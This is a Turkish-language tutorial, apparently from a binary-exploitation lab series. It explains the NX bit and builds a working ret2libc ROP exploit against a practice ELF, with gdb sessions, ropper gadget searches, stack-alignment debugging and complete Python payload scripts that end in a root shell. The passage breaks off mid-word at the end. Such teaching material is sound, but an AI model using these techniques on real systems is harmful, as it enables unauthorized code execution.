Önceki bölüm ile aynı hedefe sahibiz, programın akışını değiştirerek bir shell çalıştırmak.
Tahmin ediyorum ki bu bölümü okumadan önce kodu incelediniz ve de önceki bölüm ile birebir aynı olduğunu gördünüz. Hayır merak etmeyin bir hata falan yok, kodumuz ve hedefimiz aynı. Bu bölümdeki değişiklik kodda değil, kodun derlenme şeklinde...
Derlemenin neden bu kadar önemli olduğuna gelince, eğer önceki bölüm için yazdığınız exploiti bu bölüm üzerinde denerseniz segfault alıcaksınız ve exploit başarısız olacak.
Bunun sebebi önceki bölümde derleme aşamasında derleyiciye execstack
isimli bir argüman
sağlamam. İsminden de anlayabileceğiniz gibi bu argüman stack üzerindeki kodun çalıştırılabilir
olmasını sağlıyor. Bu opsiyon olmadan stack üzerindeki alan çalıştırılamaz olduğundan kodumuz
stacke dönüş yapmaya çalışınca segfault hatası ile karşılaşıyor.
Stack üzerindeki kodun çalıştırılamaz olması, önceki bölümde yazdığımız gibi shellcode çalıştırmayı önlemek amaçlıdır. Sonuçta programın kendisi stack üzerinde kod çalıştırmadığından stackin bellek bölgesini çalıştırılabilir yapıp gereksiz bir saldırı noktası oluşturmaya gerek yok değil mi?
Peki bu stack'i çalıştırılamaz yapma olayı tam olarak nasıl çalışıyor? Bu aslında CPU'nun bir özelliği, sanal bellek adresinde belirli alanları çalıştıralamaz olarak işaretlemek için NX biti olarak adlandırılan bir özellik.
execstack
opsiyonu belirtince GCC ELF headerında, PT_GNU_STACK
bölümü altında, PF_X
flagi
ile stack'in bellek segmentini "çalıştırılabilir" olarak işaretliyor. Daha sonra kernel ELF programının
çalışması sırasında bu headerı okuyor, ve stack executable mı diye kontrol ediyor. Eğer executable değilse,
stack'in yer aldığı sanal bellek sayfası için NX bitini (EFER register'ının 11. biti) 1 olarak ayarlıyor,
diğer türlü 0 olarak ayarlıyor.
Daha fazla detay kernel'in arch/x86/include/asm/elf.h
header dosyasında bulunabilir:
/*
* An executable for which elf_read_implies_exec() returns TRUE will
* have the READ_IMPLIES_EXEC personality flag set automatically.
*
* The decision process for determining the results are:
*
* CPU: | lacks NX* | has NX, ia32 | has NX, x86_64 |
* ELF: | | | |
* ---------------------|------------|------------------|----------------|
* missing PT_GNU_STACK | exec-all | exec-all | exec-none |
* PT_GNU_STACK == RWX | exec-stack | exec-stack | exec-stack |
* PT_GNU_STACK == RW | exec-none | exec-none | exec-none |
*
* exec-all : all PROT_READ user mappings are executable, except when
* backed by files on a noexec-filesystem.
* exec-none : only PROT_EXEC user mappings are executable.
* exec-stack: only the stack and PROT_EXEC user mappings are executable.
*
* *this column has no architectural effect: NX markings are ignored by
* hardware, but may have behavioral effects when "wants X" collides with
* "cannot be X" constraints in memory permission flags, as in
* https://lkml.kernel.org/r/[email protected]
*
*/
Stack'in executable olduğu bir program çalıştırınca, bu aynı zamanda kernel kayıtlarına
düşecektir (dmesg
ile kayıtları okuyabilirsiniz).
NX ile stacki executable yamak, ilk bölümde bahsetiğim bellek korumalarından biri.
Bu bellek korumalarını kontrol etmek için, pwntools'un bir parçası olan (makinede kurulu gelen)
checksec
isimli bir aracı kullanacağız:
pwn checksec 0x2.elf
Bu size hangi bellek korumalarının aktif olduğunu gösterecektir:
root@o101:~/0x2# pwn checksec 0x2.elf
[*] '/root/0x2/0x2.elf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Gördüğünüz gibi 0x2
için NX
koruması açık.
Özetlemek gerekirse artık stack üzerinden kod çalıştırmamız mümkün değil, bu exploit etmemiz imkansız mı demek? Tabiki hayır!
Hatırlarsanız, dönüş adresinin kontrolü hala bizde, sadece belirli bir adres aralığına dönüş yapamadığımız gerçeği bizim için birşey değiştirmiyor, hala dönüş yapabileceğimiz birçok adres var.
Örneğin programın içinde olan bir adrese dönüş yapabiliriz, bunun yanı sıra programın çalışması için runtime'da yüklenen librarylerden birine ait bir adrese de dönüş yapabiliriz.
İşte burda ret2libc
isimli bir metodu kullanacağız. Her standart program gibi bu program da
GNU C librarysine (glibc) karşı linklenmiş durumda, bunu ldd
komutu ile de görebilirsiniz:
ldd 0x2.elf
Bu library C dili için ana fonksiyonları sağladığından oldukça geniş. Bu durum bize dönüş yapabileceğimiz bir sürü adres sağlıyor. Farklı adreslere dönüş yaparak kodun akışını yine istediğimiz gibi kontrol edip bir shell çalıştırabiliriz.
Bu, farklı kod parçalarını içeren adreslere dönüş yapma tekniğine genel olarak ROP (return-oriented programming, dönüş tabanlı programlama)
deniyor. Spesifik olarak libc
adreslerine dönüş yaptığımızda ise bu teknik ret2libc olarak sınıflandırılıyor.
Şimdi teoride exploitimizi kurguladığımıza göre pratiğe geçelim.
/bin/sh
shell'ini çalıştırmak için kullanabileceğimiz bir kaç farklı fonksiyon mevcut, shellcode
da olduğu gibi execve
veya benzerlerinden (execvp
, execle
vs.) birini kullanabiliriz. Fakat
biz (daha sonra göreceğiniz üzere işleri biraz daha kolaylaştırmak adına) system
fonksiyonunu
kullanacağız.
Kullanımı gayet basit (man system
):
SYNOPSIS
#include <stdlib.h>
int system(const char *command);
DESCRIPTION
The system() library function behaves as if it used fork(2) to create a
child process that executed the shell command specified in command using
execl(3) as follows:
execl("/bin/sh", "sh", "-c", command, (char *) NULL);
system() returns after the command has been completed.
Bu fonksiyona sadece bir komutu argüman sağlamamız lazım, o da bizim için komutu bir
child process altında execl
fonksiyonu ile çalıştıracak.
Sanırım sorunun farkına varıyorsunuz, system
in adresine dönüş yaparak system
i çağırabiliriz,
ama nasıl /bin/sh
ı bir argüman olarak geçeceğiz ki? Merak etmeyin buna geleceğiz, önce bir
system
in adresine dönelim. Bunun için önce system
in adresine ihtiyacımız var.
Bunu bulmanın birkaç yolu var, gdb
ile yapabiliriz:
gdb ./0x2.elf
run
Burda input kısmına Ctrl+C yaparak programa interrupt gönderebilirz, ya da uzun bir
metin girerek segfault'a sebep olabiliriz, sadece bir şekilde programı sonlandırmamız
lazım, bunun için breakpointde koyabilirsiniz, bundan sorna tek yapmanız gerek system
adresini print etmek:
(gdb) p system
$1 = {<text variable, no debug info>} 0x7ffff7e26c30 <system>
Komutu ile system
fonksiyonun adresini alabilirsiniz. Hadi bunu dönüş adresine
yazmak için exploitimizi yazalım:
from struct import pack
filler = b"A"*40
system = pack("<Q", 0x<system'in adresi>)
f = open("/tmp/ex", "wb")
f.write(filler+system)
f.close()
Fakat henüz hazır değiliz, bir şekilde, /bin/sh
'ı argüman olarak system
e vermemiz lazım.
Assembly'de bir fonksiyonun diğer fonksiyonu çağırmadan önce yapması gerekenleri, argümanların nasıl fonksiyonlar arasında iletileceğini ve de dönüş değerinin nasıl yapılacağını belirten bir standart var. Biz buna Calling Convention diyoruz. Farklı mimarilerin ve farklı işletim sistemlerinin conventionları farklı. Ama genel olarak terimler aynı. Hadi aşağıdaki örnek üzerinden gidelim:
#include <stdlib.h>
void foo(){
return;
}
void main(){
foo();
return 0;
}
Bu programda, main
fonskiyonu foo
fonksiyonunu çağırıyor. Bu durumda biz main
fonskiyonuna caller
ve foo
fonksiyonuna da callee diyoruz. Bir x86_64
Linux sisteminde, bu çağrı durumunda
assembly seviyesinde aşağıdakiler gerçekleşir:
- Caller birinci, ikinci ve diğer takip eden argümanları sırası ile aşağıdaki registerlara koyar:
rdi
: İlk argümanrsi
: İkinci argümanrdx
: Üçüncü argümanrcx
: Dördüncü argümanr8
: Beşinci argümanr9
: Altıncı argüman
- Caller callee için yeni bir stack frame oluşturur
- Caller callee'ye çağrıda bulunur (
call
) - Callee işlemini bitirince dönüş değerlerini sırası ile aşağıdaki registerlara koyar:
rax
: İlk dönüş registerırdx
: İkinci dönüş registerı
- Callee kendi stack frameini siler
- Callee caller'a kaldığı yerden geri dönüş yapar (
ret
)
Bu yeni edindiğimiz bilgiler ışığında artık, /bin/sh
argümanını rdi
registerına koymamız gerektiğini
biliyoruz, ama hala iki sorun var:
/bin/sh
a işaret eden bir adres nasıl bulacağız?- Bu adresi
rdi
a nasıl yazacağız?
Hadi ilk sorun ile başlayalım. GNU C librarysi içinde aslında /bin/sh
stringi mevcut. Bunu strings
komutu ile bulabiliriz:
strings -a -t x /usr/lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
Bu size glibc içindeki adresini vericek, bunu glibc'inin bellekde yüklendiği adrese ekleyerek /bin/sh
ın
gerçek adresini bulabiliriz. Bu yükleme adresini bulmak için gdb içinde:
info proc map
Komutunu çalıştırabilirsiniz. bu size birkaç tane glibc girdisi gösterecek. Program aslında sadece bir kere glibc'yi yüklüyor. Fakat glibc'nin farklı izinlere sahip farklı segmentleri olduğundan birden fazla glibc var gibi görünüyor. Bizim aradığımız adres ilk baştaki glic'ye ait olan "Start Addr".
Bu adresi strings'den bulduğumuz adrese ekleyerek /bin/sh
ın adresini doğrulayabiliriz:
(gdb) x/s 0x7ffff7dd9000+0x199e28
0x7ffff7f72e28: "/bin/sh"
Güzel artık elimizde /bin/sh
stringine işaret eden bir adres var, şimdi ikinci sorunu halledelim,
bu adresi rdi
a nasıl yacağız? Sadece stack'i kontrol ediyoruz, registerların üzerine yazmamız mümkün
değil. Ya da öyle mi?
Farkettiniz mi bilmiyorum ama dönüş adresini sadece bir kere kontrol etmiyoruz, yaptığımız çağrı
programı çökertmeden ret
komutuna ulaştığı sürece dönüş adresini kontrol edebiliriz ve birden fazla
adrese dönüş yapabiliriz.
Bu bilgiyi gadget bilgisi ile birleştirmemiz lazım. Gadget ya da şuanki exploitimiz için ROP gadget
dediğimiz şey programın akışını manipüle etmemize yardımcı olan küçük komut parçaları. Dönüş adresini kontrol
ediyoruz sonuçta değil mi? İlla da bir fonksiyona dönüş yapmak zorunda değiliz, sadece belirli bir komut parçasına
dönüş yapabiliriz, sonunda ret
e eriştiğimiz sürece program akışı hala bizim kontrolümüz altında.
rdi
ya veri yüklmenin tek yolu, stack'den veriyi pop
latmak olacaktır. Veriyi stack'e yerleştirip
pop rdi
komutunu çalıştıran bir adrese dönüş yaparsak rdi
a stackden istediğimiz veriyi yükleyebiliriz.
Ha tabi, pop rdi
dan sonra ret
komutunun gelmesi lazım. Bu sayede kaldığımız yerden devam edip system
çağrısını yapabiliriz.
Tamam yani pop rdi
ve arkasından ret
çalıştırcak bir gadget'a ihtiyacımız var, bu gadget'ın adresini
nasıl bulacağız? Önceden dediğim gibi, glibc oldukça geniş bir library elbette içinde pop rdi
ve arkasından
ret
çalıştıran bir adres vardır.
Bu adresi bulmak için ropper
isimli bir (makinede kurulu gelen) gadget
bulma aracını kullanacağız. Bu araca alternatif olarak ROPgadget
ve ropr
isimli iki araç daha mevcut, dilerseniz bu araçları da kullanabilirsiniz
(bu araçlar makinede kurulu değil). Ben kullanımı rahat olduğundan ropper
ile devam ediyor olacağım.
ropper
ile istediğimiz gadgeti glibc içinde bulmak için:
ropper --file /usr/lib/x86_64-linux-gnu/libc.so.6 --search "pop rdi; ret"
Bu komut size yine /bin/sh
durumunda olduğu gibi glibc içindeki adresini vericektir. Bunu gdb'deki glibc adresine
ekleyerek asıl adresi bulup doğrulayabiliriz:
(gdb) x/1i 0x7ffff7dd9000+0x0000000000026265
0x7ffff7dff265 <iconv+181>: pop rdi
(gdb) x/1i 0x7ffff7dff266
0x7ffff7dff266 <iconv+182>: ret
Herşey hazır şimdi hepsini bir araya koyalım:
from struct import pack
filler = b"A"*40
poprdi = pack("<Q", 0x<gadget adresi>)
binsh = pack("<Q", 0x</bin/sh adresi>)
system = pack("<Q", 0x<system adresi>)
f = open("/tmp/ex", "wb")
f.write(filler+poprdi+binsh+system)
f.close()
Şimdi exploitimizi test etme vakti:
python3 exploit.py
gdb ./0x2.elf
r < /tmp/ex
Veeee... başarısız olduk?
(gdb) r < /tmp/ex
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/0x2/0x2 < /tmp/ex
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Hello, what's your name?
Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAe!
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e2691b in ?? () from /usr/lib/x86_64-linux-gnu/libc.so.6
Program segfault ile sonlandı. Bu ilginç işte, eğer system
e bir break point
koyarsanız bu adrese eriştiğimizi, aynı zamanda info registers
ile rdi
ın doğru adrese sahip
olduğunu doğrulayabilirz.
Segfault system
fonksiyonun içinde gerçekleşiyor, hadi segfault'u aldığımız
tam komutu bir inceleyelim:
(gdb) x/1i 0x00007ffff7e2691b
=> 0x7ffff7e2691b: movaps XMMWORD PTR [rsp+0x50],xmm0
Bir movaps
komutu sırasında segfault alıyoruz. Assembly biliyorsanız sorunu büyük ihtimalle çoktan
çözdünüz. Sorun stack'in hizalaması ile ilgili.
Calling conventionlarını detaylı incelerseniz, "Caller clean-up"'ın "Variations" kısmında Linux sistemlerinde GCC versiyon 4.5'ten itibaren stack'in 16 byte sınırlamalar ile hizallandığını göreceksiniz.
Yani callee caller'dan çağrı aldığında stack'in 16-byte bir sınırlama ile hizalanmış olmasını bekliyor. Burda movaps
komutunda segfault alıyoruz çünkü bu virgüllü sayılar ile uğraşmaya yarıyan SSE komutlarından biri ve stack'in 16-byte
ile hizalanmasını bekliyor. Callee yani system
stack'in zaten 16-byte illa hizalandığını düşündüğünden stack üzerinde
bir modifikasyon yapmadan movaps
i çağırıyor ve segfaulta neden oluyor.
Bu durumda çözüm stack'i 16-byte ile hizalamak olacaktır. Segfault sonrası info reg
ile rsp
registerına bakarsak
16 byte ile hizalanmadığını göreceksiniz:
(gdb) info reg
rax 0x7ffff7fb8d58 140737353846104
...
rsp 0x7fffffffe6f8 0x7fffffffe6f8
Bu durumda rsp
0x7fffffffe6f8
değerine sahip (tabiki sizde farklı olabilir), bunu pythonda 16'ya bölmeyi
deniyebiliriz:
root@o101:~/0x2# python3 -c 'print(0x7fffffffe6f8/16)'
8796093021807.5
Gördüğünüz gibi tam bölünmüyor, hizalamak adına üzerine bir 8 daha ekleyebiliriz:
root@o101:~/0x2# python3 -c 'print((0x7fffffffe6f8+8)/16)'
8796093021808.0
Yani stack'e system
adresinden önce bir 8 byte daha eklememiz lazım. Sadece yer doldurmak için kullacağımız
bir adres olacağından ideal olarak sadece ret
komutunu çalıştırcak bir adres iyi olur. Bunun için önceki gadget'ımızı
kullanabiliriz. Önceki gadgetımız pop rdi
'ın arkasından ret
çalıştırıyordu. Tek yapmamız gerek adrese 1 eklemek,
bu sayede sadece ret
in adresini alabiliriz. Tabi illa bu ret
i kullanmak zorunda değilsiniz, programın içinden
bir ret
adresi seçebilirsiniz, ya da ropper
ile herhangi bir ret
adresi bulabilirsiniz.
Hadi şimdi exploitimize bu yeni ret
adresini ekleyelim:
from struct import pack
filler = b"A"*40
poprdi = pack("<Q", 0x7ffff7dff265) # pop rdi; ret
binsh = pack("<Q", 0x7ffff7f72e28) # /bin/sh
ret = pack("<Q", 0x7ffff7dff266) # ret
system = pack("<Q", 0x7ffff7e26c30) # system()
f = open("/tmp/ex", "wb")
f.write(filler+poprdi+binsh+ret+system+"\n")
f.close()
Yeni exploitimizi denemek için:
root@o101:~/0x2# python3 exploit.py && (cat /tmp/ex; echo; cat) | ./0x2.elf
Hello, what's your name?
Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAe!
id
uid=0(root) gid=0(root) groups=0(root)
Ta-da! NX bellek korumasına rağmen shell çalıştırmayı başardık.
Important
Dö